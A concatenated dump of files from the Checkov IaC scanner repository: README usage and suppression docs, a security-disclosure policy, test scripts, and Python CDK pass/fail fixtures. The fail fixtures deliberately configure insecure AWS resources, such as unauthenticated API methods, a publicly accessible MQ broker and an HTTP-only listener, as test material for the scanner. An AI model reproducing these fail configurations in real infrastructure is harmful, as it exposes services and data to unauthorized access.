Skip all checks that are MEDIUM severity or lower, as well as check CKV_789 (assume this is a high severity check): ```sh checkov -d . --skip-check MEDIUM,CKV_789 --bc-api-key ... ``` Run all checks that are MEDIUM severity or higher, but skip check CKV_123 (assume this is a medium or higher severity check): ```sh checkov -d . --check MEDIUM --skip-check CKV_123 --bc-api-key ... ``` Run check CKV_789, but skip it if it is a medium severity (the --check logic is always applied before --skip-check) ```sh checkov -d . --skip-check MEDIUM --check CKV_789 --bc-api-key ... ``` For Kubernetes workloads, you can also use allow/deny namespaces. For example, do not report any results for the kube-system namespace: ```sh checkov -d . --skip-check kube-system ``` Run a scan of a container image. First pull or build the image then refer to it by the hash, ID, or name:tag: ```sh checkov --framework sca_image --docker-image sha256:1234example --dockerfile-path /Users/path/to/Dockerfile --repo-id ... --bc-api-key ... checkov --docker-image :tag --dockerfile-path /User/path/to/Dockerfile --repo-id ... --bc-api-key ... ``` You can use --image flag also to scan container image instead of --docker-image for shortener: ```sh checkov --image :tag --dockerfile-path /User/path/to/Dockerfile --repo-id ... --bc-api-key ... ``` Run an SCA scan of packages in a repo: ```sh checkov -d . --framework sca_package --bc-api-key ... --repo-id ``` Run a scan of a directory with environment variables removing buffering, adding debug level logs: ```sh PYTHONUNBUFFERED=1 LOG_LEVEL=DEBUG checkov -d . ``` OR enable the environment variables for multiple runs ```sh export PYTHONUNBUFFERED=1 LOG_LEVEL=DEBUG checkov -d . ``` Run secrets scanning on all files in MyDirectory. Skip CKV_SECRET_6 check on json files that their suffix is DontScan ```sh checkov -d /MyDirectory --framework secrets --repo-id ... --bc-api-key ... --skip-check CKV_SECRET_6:.*DontScan.json$ ``` Run secrets scanning on all files in MyDirectory. Skip CKV_SECRET_6 check on json files that contains "skip_test" in path ```sh checkov -d /MyDirectory --framework secrets --repo-id ... --bc-api-key ... --skip-check CKV_SECRET_6:.*skip_test.*json$ ``` One can mask values from scanning results by supplying a configuration file (using --config-file flag) with mask entry. The masking can apply on resource & value (or multiple values, separated with a comma). Examples: ```sh mask: - aws_instance:user_data - azurerm_key_vault_secret:admin_password,user_passwords ``` In the example above, the following values will be masked: - user_data for aws_instance resource - both admin_password &user_passwords for azurerm_key_vault_secret ### Suppressing/Ignoring a check Like any static-analysis tool it is limited by its analysis scope. For example, if a resource is managed manually, or using subsequent configuration management tooling, suppression can be inserted as a simple code annotation. #### Suppression comment format To skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside it's scope: `checkov:skip=:` * `` is one of the [available check scanners](docs/5.Policy Index/all.md) * `` is an optional suppression reason to be included in the output #### Example The following comment skips the `CKV_AWS_20` check on the resource identified by `foo-bucket`, where the scan checks if an AWS S3 bucket is private. In the example, the bucket is configured with public read access; Adding the suppress comment would skip the appropriate check instead of the check to fail. ```hcl-terraform resource "aws_s3_bucket" "foo-bucket" { region = var.region #checkov:skip=CKV_AWS_20:The bucket is a public static content host bucket = local.bucket_name force_destroy = true acl = "public-read" } ``` The output would now contain a ``SKIPPED`` check result entry: ```bash ... ... Check: "S3 Bucket has an ACL defined which allows public access." SKIPPED for resource: aws_s3_bucket.foo-bucket Suppress comment: The bucket is a public static content host File: /example_skip_acl.tf:1-25 ... ``` To skip multiple checks, add each as a new line. ``` #checkov:skip=CKV2_AWS_6 #checkov:skip=CKV_AWS_20:The bucket is a public static content host ``` To suppress checks in Kubernetes manifests, annotations are used with the following format: `checkov.io/skip#: =` For example: ```bash apiVersion: v1 kind: Pod metadata: name: mypod annotations: checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation :-O checkov.io/skip2: CKV_K8S_14 checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS spec: containers: ... ``` #### Logging For detailed logging to stdout set up the environment variable `LOG_LEVEL` to `DEBUG`. Default is `LOG_LEVEL=WARNING`. #### Skipping directories To skip files or directories, use the argument `--skip-path`, which can be specified multiple times. This argument accepts regular expressions for paths relative to the current working directory. You can use it to skip entire directories and / or specific files. By default, all directories named `node_modules`, `.terraform`, and `.serverless` will be skipped, in addition to any files or directories beginning with `.`. To cancel skipping directories beginning with `.` override `CKV_IGNORE_HIDDEN_DIRECTORIES` environment variable `export CKV_IGNORE_HIDDEN_DIRECTORIES=false` You can override the default set of directories to skip by setting the environment variable `CKV_IGNORED_DIRECTORIES`. Note that if you want to preserve this list and add to it, you must include these values. For example, `CKV_IGNORED_DIRECTORIES=mynewdir` will skip only that directory, but not the others mentioned above. This variable is legacy functionality; we recommend using the `--skip-file` flag. #### Console Output The console output is in colour by default, to switch to a monochrome output, set the environment variable: `ANSI_COLORS_DISABLED` #### VS Code Extension If you want to use Checkov within VS Code, give the [Prisma Cloud extension](https://marketplace.visualstudio.com/items?itemName=PrismaCloud.prisma-cloud) a try. ### Configuration using a config file Checkov can be configured using a YAML configuration file. By default, checkov looks for a `.checkov.yaml` or `.checkov.yml` file in the following places in order of precedence: * Directory against which checkov is run. (`--directory`) * Current working directory where checkov is called. * User's home directory. **Attention**: it is a best practice for checkov configuration file to be loaded from a trusted source composed by a verified identity, so that scanned files, check ids and loaded custom checks are as desired. Users can also pass in the path to a config file via the command line. In this case, the other config files will be ignored. For example: ```sh checkov --config-file path/to/config.yaml ``` Users can also create a config file using the `--create-config` command, which takes the current command line args and writes them out to a given path. For example: ```sh checkov --compact --directory test-dir --docker-image sample-image --dockerfile-path Dockerfile --download-external-modules True --external-checks-dir sample-dir --quiet --repo-id prisma-cloud/sample-repo --skip-check CKV_DOCKER_3,CKV_DOCKER_2 --skip-framework dockerfile secrets --soft-fail --branch develop --check CKV_DOCKER_1 --create-config /Users/sample/config.yml ``` Will create a `config.yaml` file which looks like this: ```yaml branch: develop check: - CKV_DOCKER_1 compact: true directory: - test-dir docker-image: sample-image dockerfile-path: Dockerfile download-external-modules: true evaluate-variables: true external-checks-dir: - sample-dir external-modules-download-path: .external_modules framework: - all output: cli quiet: true repo-id: prisma-cloud/sample-repo skip-check: - CKV_DOCKER_3 - CKV_DOCKER_2 skip-framework: - dockerfile - secrets soft-fail: true ``` Users can also use the `--show-config` flag to view all the args and settings and where they came from i.e. commandline, config file, environment variable or default. For example: ```sh checkov --show-config ``` Will display: ```sh Command Line Args: --show-config Environment Variables: BC_API_KEY: your-api-key Config File (/Users/sample/.checkov.yml): soft-fail: False branch: master skip-check: ['CKV_DOCKER_3', 'CKV_DOCKER_2'] Defaults: --output: cli --framework: ['all'] --download-external-modules:False --external-modules-download-path:.external_modules --evaluate-variables:True ``` ## Contributing Contribution is welcomed! Start by reviewing the [contribution guidelines](https://github.com/bridgecrewio/checkov/blob/main/CONTRIBUTING.md). After that, take a look at a [good first issue](https://github.com/bridgecrewio/checkov/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22). You can even start this with one-click dev in your browser through Gitpod at the following link: [![Open in Gitpod](https://gitpod.io/button/open-in-gitpod.svg)](https://gitpod.io/#https://github.com/bridgecrewio/checkov) Looking to contribute new checks? Learn how to write a new check (AKA policy) [here](https://github.com/bridgecrewio/checkov/blob/main/docs/6.Contribution/Contribution%20Overview.md). ## Disclaimer `checkov` does not save, publish or share with anyone any identifiable customer information. No identifiable customer information is used to query Prisma Cloud's publicly accessible guides. `checkov` uses Prisma Cloud's API to enrich the results with links to remediation guides. To skip this API call use the flag `--skip-download`. ## Support [Prisma Cloud](https://www.prismacloud.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov) builds and maintains Checkov to make policy-as-code simple and accessible. Start with our [Documentation](https://www.checkov.io/1.Welcome/Quick%20Start.html) for quick tutorials and examples. ## Python Version Support We follow the official support cycle of Python, and we use automated tests for supported versions of Python. This means we currently support Python 3.9 - 3.13, inclusive. Note that Python 3.8 reached EOL on October 2024 and Python 3.9 will reach EOL in October 2025. If you run into any issues with any non-EOL Python version, please open an Issue. ================================================ FILE: SECURITY.md ================================================ # Security ## Reporting a Vulnerability If you think you have found a potential security vulnerability in `checkov`, please email psirt@paloaltonetworks.com directly. Do not file a public issue. If English is not your first language, please try to describe the problem and its impact to the best of your ability. For greater detail, please use your native language and we will try our best to translate it using online services. Please also include the code you used to find the problem and the shortest amount of code necessary to reproduce it. Please do not disclose this to anyone else. We will retrieve a CVE identifier if necessary and give you full credit under whatever name or alias you provide. We will only request an identifier when we have a fix and can publish it in a release. We will respect your privacy and will only publicize your involvement if you grant us permission. ## Process This following information discusses the process the `checkov` project follows in response to vulnerability disclosures. If you are disclosing a vulnerability, this section of the documentation lets you know how we will respond to your disclosure. ### Timeline When you report an issue, one of the project members will respond to you within few days. This initial response will at the very least confirm receipt of the report. If we were able to rapidly reproduce the issue, the initial response will also contain confirmation of the issue. If we are not, we will often ask for more information about the reproduction scenario. Our goal is to have a fix for any vulnerability released within two weeks of the initial disclosure. This may potentially involve shipping an interim release that simply disables function while a more mature fix can be prepared, but will in the vast majority of cases mean shipping a complete release as soon as possible. Throughout the fix process we will keep you up to speed with how the fix is progressing. Once the fix is prepared, we will notify you that we believe we have a fix. Often we will ask you to confirm the fix resolves the problem in your environment, especially if we are not confident of our reproduction scenario. At this point, we will prepare for the release. We will obtain a CVE number if one is required, providing you with full credit for the discovery. We will also decide on a planned release date, and let you know when it is. On release day, we will push the patch to our public repository, along with an updated changelog that describes the issue. The change log is generated automatically from commit messages. We will then issue a PyPI release containing the patch. At this point, we will publicise the release. This will involve announcement on our Slack channel (https://codifiedsecurity.slack.com) and all other communication mechanisms available to the core team. We will also explicitly mention which commits contain the fix to make it easier for other distributors and users to easily patch their own versions of `checkov` if upgrading is not an option. ================================================ FILE: bin/checkov ================================================ #!/usr/bin/env python from checkov.main import Checkov import warnings import sys if __name__ == '__main__': with warnings.catch_warnings(): warnings.simplefilter("ignore", category=SyntaxWarning) sys.exit(Checkov().run()) ================================================ FILE: bin/checkov.cmd ================================================ @echo OFF REM=""" setlocal set PythonExe="" set PythonExeFlags= for %%i in (cmd bat exe) do ( for %%j in (python.%%i) do ( call :SetPythonExe "%%~$PATH:j" ) ) for /f "tokens=2 delims==" %%i in ('assoc .py') do ( for /f "tokens=2 delims==" %%j in ('ftype %%i') do ( for /f "tokens=1" %%k in ("%%j") do ( call :SetPythonExe %%k ) ) ) %PythonExe% -x %PythonExeFlags% "%~f0" %* exit /B %ERRORLEVEL% goto :EOF :SetPythonExe if not ["%~1"]==[""] ( if [%PythonExe%]==[""] ( set PythonExe="%~1" ) ) goto :EOF """ # =================================================== # Python script starts here # =================================================== #!/usr/bin/env python from checkov.main import Checkov import warnings import sys if __name__ == '__main__': with warnings.catch_warnings(): warnings.simplefilter("ignore", category=SyntaxWarning) sys.exit(Checkov().run()) ================================================ FILE: cdk_integration_tests/__init__.py ================================================ ================================================ FILE: cdk_integration_tests/prepare_data.sh ================================================ #!/bin/bash # iterate over all the cdk python checks #for file in "checkov/cdk/checks/python"/*; do # # Ensure it's a yaml file # if [[ -f "$file" && "$file" == *.yaml ]]; then # basename=$(basename -- "$file") # filename="${basename%.*}" # check_id=$(grep 'id:' $file | awk '{print $2}') # if [[ $check_id != CKV* ]]; then # #expects only CKV check ids # continue # fi # # create a report for this check # echo "creating report for check: $filename, id: $check_id" # pipenv run checkov -s --framework cdk --repo-id cli/cdk -o json --check $check_id \ # -d "cdk_integration_tests/src/python/$filename" --external-checks-dir "checkov/cdk/checks/python" \ # > "checkov_report_cdk_python_$filename.json" # fi #done echo "creating report for CDK" pipenv run checkov -s --framework cdk --repo-id cli/cdk -o json \ -d "cdk_integration_tests/src" > "checkov_report_cdk.json" #todo: iterate over all the cdk typescript checks - when ts supported in sast ================================================ FILE: cdk_integration_tests/run_integration_tests.sh ================================================ #!/bin/bash # In order to run this script set the following environment variables: # BC_API_URL - your API url. # BC_KEY - generate API key via Platform. # You can also add the local SAST_ARTIFACT_PATH and LOG_LEVEL. # You can also set those vars in the set_env_vars() function, and uncomment the call to it. # The working dir should be the checkov project dir. # For example: on /Users/ajbara/dev2/checkov dir run BC_API_URL=https://ws342vj2ze.execute-api.us-west-2.amazonaws.com/v1 BC_KEY=xyz LOG_LEVEL=Info /Users/ajbara/dev2/checkov/sast_integration_tests/run_integration_tests.sh set_env_vars() { export SAST_ARTIFACT_PATH="" export BC_API_KEY="" export LOG_LEVEL=DEBUG export PRISMA_API_URL="https://api0.prismacloud.io" } prepare_data () { echo "creating report for CDK" python checkov/main.py -s --framework cdk --repo-id prisma/cdk -o json \ -d "cdk_integration_tests/src" > "checkov_report_cdk.json" } delete_reports () { rm -r checkov_report* rm results.sarif rm checkov_checks_list.txt } #echo "calling set_env_vars" #set_env_vars if [[ -z "BC_API_KEY" ]]; then echo "BC_API_KEY is missing." exit 1 fi echo $PRISMA_API_URL if [[ -z "PRISMA_API_URL" ]]; then echo "PRISMA_API_URL is missing." exit 1 fi cd .. echo $VIRTUAL_ENV if [ ! -z "$VIRTUAL_ENV" ]; then deactivate fi #activate virtual env ENV_PATH=$(pipenv --venv) echo $ENV_PATH source $ENV_PATH/bin/activate echo $(pwd) working_dir=$(pwd) # should be the path of local checkov project export PYTHONPATH="$working_dir/checkov:$PYTHONPATH" prepare_data #Run integration tests. echo "running integration tests" pytest cdk_integration_tests deactivate echo "Deleting reports" delete_reports ================================================ FILE: cdk_integration_tests/src/python/ALBDropHttpHeaders/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancingv2 as elbv2 class MyALBStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ALB with Load Balancer Attributes alb = elbv2.CfnLoadBalancer( self, 'MyALB', name='my-alb', type='application', load_balancer_attributes=[ { 'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'false' } ] # Other properties for your ALB ) app = core.App() MyALBStack(app, "MyALBStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ALBDropHttpHeaders/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancingv2 as elbv2 class MyALBStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define ALB with Load Balancer Attributes alb = elbv2.CfnLoadBalancer( self, 'MyALB', name='my-alb', type='application', load_balancer_attributes=[ { 'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true' } ] # Other properties for your ALB ) app = core.App() MyALBStack(app, "MyALBStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ALBListenerHTTPS/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancingv2 as elbv2 class MyListenerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define HTTPS Redirect Listener listener = elbv2.CfnListener( self, 'MyHTTPSRedirectListener', load_balancer_arn='your-load-balancer-arn', # Replace with your ALB ARN protocol='HTTP', port=80, default_actions=[{ 'type': 'abc', 'redirectConfig': { 'protocol': 'HTTP', } }] # Other properties for your Redirect Listener ) app = core.App() MyListenerStack(app, "MyListenerStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/ALBListenerHTTPS/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_elasticloadbalancingv2 as elbv2 class MyListenerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define HTTPS Listener listener = elbv2.CfnListener( self, 'MyHTTPSListener', load_balancer_arn='your-load-balancer-arn', # Replace with your ALB ARN protocol='HTTPS', # Other properties for your Listener ) app = core.App() MyListenerStack(app, "MyListenerStack") app.synth() class MyListenerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define HTTPS Redirect Listener listener = elbv2.CfnListener( self, 'MyHTTPSRedirectListener', load_balancer_arn='your-load-balancer-arn', # Replace with your ALB ARN protocol='HTTP', port=80, default_actions=[{ 'type': 'redirect', 'redirectConfig': { 'protocol': 'HTTPS', } }] # Other properties for your Redirect Listener ) app = core.App() MyListenerStack(app, "MyListenerStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayAccessLogging/fail__2__.py ================================================ from aws_cdk import aws_apigateway as apigateway cfn_stage = apigateway.CfnStage(self, "MyCfnStage", rest_api_id="restApiId", # the properties below are optional cache_cluster_enabled=False, cache_cluster_size="cacheClusterSize", canary_setting=apigateway.CfnStage.CanarySettingProperty( deployment_id="deploymentId", percent_traffic=123, stage_variable_overrides={ "stage_variable_overrides_key": "stageVariableOverrides" }, use_stage_cache=False ), client_certificate_id="clientCertificateId", deployment_id="deploymentId", description="description", documentation_version="documentationVersion", method_settings=[apigateway.CfnStage.MethodSettingProperty( cache_data_encrypted=False, cache_ttl_in_seconds=123, caching_enabled=False, data_trace_enabled=False, http_method="httpMethod", logging_level="loggingLevel", metrics_enabled=False, resource_path="resourcePath", throttling_burst_limit=123, throttling_rate_limit=123 )], stage_name="stageName", tags=[CfnTag( key="key", value="value" )], tracing_enabled=False, variables={ "variables_key": "variables" } ) from aws_cdk import core from aws_cdk import aws_serverless as serverless class ServerlessApiWithAccessLogStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Serverless API serverless.Api( self, "MyApi", default_stage={ "stage_name": "prod", "access_log_setting": serverless.AccessLogSetting( format=serverless.AccessLogFormat.json_with_standard_fields() ) } ) app = core.App() ServerlessApiWithAccessLogStack(app, "ServerlessApiWithAccessLogStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayAccessLogging/pass.py ================================================ from aws_cdk import aws_apigateway as apigateway cfn_stage = apigateway.CfnStage(self, "MyCfnStage", rest_api_id="restApiId", # the properties below are optional access_log_setting=apigateway.CfnStage.AccessLogSettingProperty( destination_arn="destinationArn", format="format" ), cache_cluster_enabled=False, cache_cluster_size="cacheClusterSize", canary_setting=apigateway.CfnStage.CanarySettingProperty( deployment_id="deploymentId", percent_traffic=123, stage_variable_overrides={ "stage_variable_overrides_key": "stageVariableOverrides" }, use_stage_cache=False ), client_certificate_id="clientCertificateId", deployment_id="deploymentId", description="description", documentation_version="documentationVersion", method_settings=[apigateway.CfnStage.MethodSettingProperty( cache_data_encrypted=False, cache_ttl_in_seconds=123, caching_enabled=False, data_trace_enabled=False, http_method="httpMethod", logging_level="loggingLevel", metrics_enabled=False, resource_path="resourcePath", throttling_burst_limit=123, throttling_rate_limit=123 )], stage_name="stageName", tags=[CfnTag( key="key", value="value" )], tracing_enabled=False, variables={ "variables_key": "variables" } ) from aws_cdk import core from aws_cdk import aws_serverless as serverless class ServerlessApiWithAccessLogStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Serverless API serverless.Api( self, "MyApi", default_stage={ "stage_name": "prod", "access_log_setting": serverless.AccessLogSetting( destination_arn="arn:aws:logs:us-east-1:123456789012:log-group/MyLogGroup", format=serverless.AccessLogFormat.json_with_standard_fields() ) } ) app = core.App() ServerlessApiWithAccessLogStack(app, "ServerlessApiWithAccessLogStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayAuthorization/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_apigateway as apigw class MyApiGatewayMethodStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create the API Gateway Method based on the conditions api_method = apigw.Method( self, 'MyApiGatewayMethod', http_method='GET', # Replace with your desired HTTP method resource=self.node.try_get_context('resource'), # Replace with your API resource rest_api=self.node.try_get_context('rest_api'), # Replace with your REST API authorization_type=apigw.AuthorizationType.NONE, # Set the AuthorizationType to NONE api_key_required=False # Set ApiKeyRequired to false # You can add other properties as needed for your method ) app = core.App() MyApiGatewayMethodStack(app, "MyApiGatewayMethodStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayAuthorization/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_apigateway as apigw class MyApiGatewayMethodStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create the API Gateway Method based on the conditions api_method = apigw.Method( self, 'MyApiGatewayMethod', http_method='OPTIONS', # Replace with your desired HTTP method resource=self.node.try_get_context('resource'), # Replace with your API resource rest_api=self.node.try_get_context('rest_api'), # Replace with your REST API authorization_type=apigw.AuthorizationType.NONE, # Set the AuthorizationType to NONE api_key_required=True # Set ApiKeyRequired to false # You can add other properties as needed for your method ) app = core.App() MyApiGatewayMethodStack(app, "MyApiGatewayMethodStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayCacheEnable/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_apigateway as apigateway from aws_cdk import aws_sam as sam class MyApiGatewayStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an API Gateway stage with cache cluster enabled api = apigateway.RestApi( self, "MyApi", rest_api_name="MyApiName", ) stage = apigateway.Stage( self, "MyApiStage", stage_name="prod", # Replace with your desired stage name deployment=api.latest_deployment, ) class MySAMApiStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Serverless API with cache cluster enabled sam_api = sam.CfnApi( self, "MySAMApi", stage_name="prod", # Specify the stage name definition_body={ "openapi": "3.0.1", "info": { "title": "MyAPI", }, "paths": { "/example": { "get": { "responses": { "200": { "description": "A sample response", }, }, }, }, }, }, ) ================================================ FILE: cdk_integration_tests/src/python/APIGatewayCacheEnable/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_apigateway as apigateway from aws_cdk import aws_sam as sam class MyApiGatewayStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an API Gateway stage with cache cluster enabled api = apigateway.RestApi( self, "MyApi", rest_api_name="MyApiName", ) stage = apigateway.Stage( self, "MyApiStage", stage_name="prod", # Replace with your desired stage name deployment=api.latest_deployment, cache_cluster_enabled=True, # Enable cache cluster cache_cluster_size="0.5", # Specify the cache cluster size ) class MySAMApiStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Serverless API with cache cluster enabled sam_api = sam.CfnApi( self, "MySAMApi", cacheClusterEnabled=True, # Enable cache cluster cacheClusterSize="0.5", # Specify the cache cluster size stage_name="prod", # Specify the stage name definition_body={ "openapi": "3.0.1", "info": { "title": "MyAPI", }, "paths": { "/example": { "get": { "responses": { "200": { "description": "A sample response", }, }, }, }, }, }, ) ================================================ FILE: cdk_integration_tests/src/python/APIGatewayV2AccessLogging/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_apigatewayv2 as apigatewayv2 class MyApiGatewayV2StageStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define API Gateway V2 Stage with AccessLogSettings/DestinationArn set api_stage = apigatewayv2.CfnStage( self, 'MyApiGatewayV2Stage', api_id='api_id_here', # Replace with your API ID stage_name='myStage', # Add other properties as needed for your stage ) app = core.App() MyApiGatewayV2StageStack(app, "MyApiGatewayV2StageStack") app.synth() from aws_cdk import core from aws_cdk import aws_apigatewayv2 as apigatewayv2 class MyServerlessHttpApiStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a Serverless HTTP API with access log settings serverless_api = apigatewayv2.CfnApi( self, 'MyServerlessHttpApi', name='MyHTTPAPI', protocol_type='HTTP', # Add other properties as needed for your HTTP API ) app = core.App() MyServerlessHttpApiStack2(app, "MyServerlessHttpApiStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayV2AccessLogging/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_apigatewayv2 as apigatewayv2 class MyApiGatewayV2StageStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define API Gateway V2 Stage with AccessLogSettings/DestinationArn set api_stage = apigatewayv2.CfnStage( self, 'MyApiGatewayV2Stage', api_id='api_id_here', # Replace with your API ID stage_name='myStage', access_log_settings=apigatewayv2.CfnStage.AccessLogSettingsProperty( destination_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME' # Replace with the actual DestinationArn value ) # Add other properties as needed for your stage ) app = core.App() MyApiGatewayV2StageStack(app, "MyApiGatewayV2StageStack") app.synth() from aws_cdk import core from aws_cdk import aws_apigatewayv2 as apigatewayv2 class MyServerlessHttpApiStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a Serverless HTTP API with access log settings serverless_api = apigatewayv2.CfnApi( self, 'MyServerlessHttpApi', name='MyHTTPAPI', protocol_type='HTTP', access_log_settings=apigatewayv2.CfnApi.AccessLogSettingsProperty( destination_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME' # Replace with the actual DestinationArn value ) # Add other properties as needed for your HTTP API ) app = core.App() MyServerlessHttpApiStack2(app, "MyServerlessHttpApiStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayXray/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_apigateway as apigateway from aws_cdk import aws_apigatewayv2 as apigatewayv2 class MyApiGatewayStageStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define API Gateway Stage with Tracing Enabled apigateway.CfnStage( self, 'MyApiGatewayStage', stage_name='my-stage', rest_api_id='your-rest-api-id', # Replace with your RestApi Id tracing_enabled=False # Other properties for your API Gateway Stage ) app = core.App() MyApiGatewayStageStack(app, "MyApiGatewayStageStack") app.synth() class MyServerlessApiStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Serverless API with Tracing Enabled api = apigatewayv2.CfnApi( self, 'MyServerlessApi', name='my-serverless-api', protocol_type='HTTP' # Other properties for your Serverless API ) stage = apigatewayv2.CfnStage( self, 'MyServerlessApiStage', api_id=api.ref, stage_name='my-stage', tracing_enabled=False # Other properties for your API Gatewayv2 Stage ) app = core.App() MyServerlessApiStack(app, "MyServerlessApiStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/APIGatewayXray/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_apigateway as apigateway from aws_cdk import aws_apigatewayv2 as apigatewayv2 class MyApiGatewayStageStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define API Gateway Stage with Tracing Enabled apigateway.CfnStage( self, 'MyApiGatewayStage', stage_name='my-stage', rest_api_id='your-rest-api-id', # Replace with your RestApi Id tracing_enabled=True # Other properties for your API Gateway Stage ) app = core.App() MyApiGatewayStageStack(app, "MyApiGatewayStageStack") app.synth() class MyServerlessApiStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Serverless API with Tracing Enabled api = apigatewayv2.CfnApi( self, 'MyServerlessApi', name='my-serverless-api', protocol_type='HTTP' # Other properties for your Serverless API ) stage = apigatewayv2.CfnStage( self, 'MyServerlessApiStage', api_id=api.ref, stage_name='my-stage', tracing_enabled=True # Other properties for your API Gatewayv2 Stage ) app = core.App() MyServerlessApiStack(app, "MyServerlessApiStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AmazonMQBrokerPublicAccess/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_amazonmq as amazonmq class AmazonMQStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon MQ broker with PubliclyAccessible set to false amazonmq_broker = amazonmq.CfnBroker( self, "MyAmazonMQBroker", broker_name="my-amazon-mq-broker", engine_type="ACTIVEMQ", host_instance_type="mq.t2.micro", publicly_accessible=True, # Set PubliclyAccessible to false ) app = core.App() AmazonMQStack(app, "AmazonMQStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AmazonMQBrokerPublicAccess/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_amazonmq as amazonmq class AmazonMQStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon MQ broker with PubliclyAccessible set to false amazonmq_broker = amazonmq.CfnBroker( self, "MyAmazonMQBroker", broker_name="my-amazon-mq-broker", engine_type="ACTIVEMQ", host_instance_type="mq.t2.micro", publicly_accessible=False, # Set PubliclyAccessible to false ) app = core.App() AmazonMQStack(app, "AmazonMQStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AppSyncFieldLevelLogs/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_appsync as appsync class AppSyncStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the GraphQL API using CfnGraphQLApi graphql_api = appsync.CfnGraphQLApi( self, "AppSyncGraphQLApi", name="MyAppSyncAPI", authentication_type="API_KEY", # You can change the authentication type log_config=appsync.CfnGraphQLApi.LogConfigProperty( cloud_watch_logs_role_arn="cloudWatchLogsRoleArn", exclude_verbose_content=False, ), ) app = core.App() AppSyncStack(app, "AppSyncStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AppSyncFieldLevelLogs/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_appsync as appsync class AppSyncStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the GraphQL API using CfnGraphQLApi graphql_api = appsync.CfnGraphQLApi( 